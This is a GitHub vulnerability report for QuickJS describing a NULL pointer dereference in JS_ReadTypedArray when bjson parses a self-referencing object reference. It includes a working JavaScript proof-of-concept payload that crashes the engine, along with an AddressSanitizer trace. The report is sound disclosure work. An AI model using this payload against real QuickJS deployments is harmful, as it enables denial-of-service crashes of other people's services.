Skip to content

NULL Pointer Dereference in bjson (JS_ReadTypedArray) #1321

@Qanux

Description

@Qanux

Overview

The vulnerability is located in the JS_ReadTypedArray function in quickjs.c.

When parsing a TypedArray, the function calls BC_add_object_ref1(s, NULL) to add the current object (which is not yet created and is NULL) to the object reference table before recursively reading the underlying ArrayBuffer.

If the attacker provides a malicious payload where the recursive JS_ReadObjectRec(s) call (used to read the ArrayBuffer) contains a BC_TAG_OBJECT_REFERENCE pointing back to this pre-reserved index, the parser attempts to read this uninitialized NULL pointer.

The flow is as follows:

  1. JS_ReadTypedArray adds NULL to the reference table s->objects[idx].
  2. It calls JS_ReadObjectRec to recursively parse the ArrayBuffer.
  3. The malicious data contains BC_TAG_OBJECT_REFERENCE pointing to the index idx.
  4. JS_ReadObjectRec executes obj = js_dup(JS_MKPTR(JS_TAG_OBJECT, s->objects[val]));.
  5. Since s->objects[val] is NULL, js_dup attempts to increment the reference count of a NULL pointer, causing a Segmentation Fault (SEGV).

PoC

import * as bjson from "qjs:bjson";

const JS_READ_OBJ_REFERENCE = 0x08;
const BC_VERSION = 22; 
const BC_TAG_TYPED_ARRAY = 14; 
const BC_TAG_OBJECT_REFERENCE = 20;

try {
    let payload = new Uint8Array([
        BC_VERSION, 
        0x00, // Atom count
        BC_TAG_TYPED_ARRAY,
        0x00, // Uint8Array
        0x00, // Length
        0x00, // Offset
        BC_TAG_OBJECT_REFERENCE,
        0x00  // Object Reference to index 0 (The TypedArray itself, which is NULL)
    ]);
    
    // Trigger the crash
    // We pass JS_READ_OBJ_REFERENCE to allow reference tags
    bjson.read(payload.buffer, 0, payload.byteLength, JS_READ_OBJ_REFERENCE);

} catch(e) {
    console.log("Caught exception:", e);
}

ASAN output

AddressSanitizer:DEADLYSIGNAL
=================================================================
==606694==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5887d8c26595 bp 0x7ffe7d022140 sp 0x7ffe7d0220a0 T0)
==606694==The signal is caused by a READ memory access.
==606694==Hint: address points to the zero page.
    #0 0x5887d8c26595 in js_dup /home/or4nge/quickjs/quickjs.c:1479
    #1 0x5887d8d3bbb6 in JS_ReadObjectRec /home/or4nge/quickjs/quickjs.c:37790
    #2 0x5887d8d39a79 in JS_ReadTypedArray /home/or4nge/quickjs/quickjs.c:37496
    #3 0x5887d8d3b7ce in JS_ReadObjectRec /home/or4nge/quickjs/quickjs.c:37756
    #4 0x5887d8d3cf81 in JS_ReadObject2 /home/or4nge/quickjs/quickjs.c:37916
    #5 0x5887d8d3d1ab in JS_ReadObject /home/or4nge/quickjs/quickjs.c:37931
    #6 0x5887d8c1dc5b in js_bjson_read /home/or4nge/quickjs/quickjs-libc.c:4861
    #7 0x5887d8c90030 in js_call_c_function /home/or4nge/quickjs/quickjs.c:16403
    #8 0x5887d8c91f03 in JS_CallInternal /home/or4nge/quickjs/quickjs.c:16619
    #9 0x5887d8c9a471 in JS_CallInternal /home/or4nge/quickjs/quickjs.c:17046
    #10 0x5887d8cba7dc in async_func_resume /home/or4nge/quickjs/quickjs.c:19358
    #11 0x5887d8cbbf81 in js_async_function_resume /home/or4nge/quickjs/quickjs.c:19613
    #12 0x5887d8cbd061 in js_async_function_call /home/or4nge/quickjs/quickjs.c:19732
    #13 0x5887d8cfbb82 in js_execute_sync_module /home/or4nge/quickjs/quickjs.c:29655
    #14 0x5887d8cfcf62 in js_inner_module_evaluation /home/or4nge/quickjs/quickjs.c:29767
    #15 0x5887d8cfd6e3 in js_evaluate_module /home/or4nge/quickjs/quickjs.c:29814
    #16 0x5887d8d27d8c in JS_EvalFunctionInternal /home/or4nge/quickjs/quickjs.c:35400
    #17 0x5887d8d27ef5 in JS_EvalFunction /home/or4nge/quickjs/quickjs.c:35414
    #18 0x5887d8bfd206 in eval_buf /home/or4nge/quickjs/qjs.c:128
    #19 0x5887d8bfd4bf in eval_file /home/or4nge/quickjs/qjs.c:165
    #20 0x5887d8c00061 in main /home/or4nge/quickjs/qjs.c:686
    #21 0x7e87f7629d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #22 0x7e87f7629e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #23 0x5887d8bfc8a4 in _start (/home/or4nge/quickjs/build/qjs+0x418a4)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/or4nge/quickjs/quickjs.c:1479 in js_dup
==606694==ABORTING

Reporter credit: Qanux

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions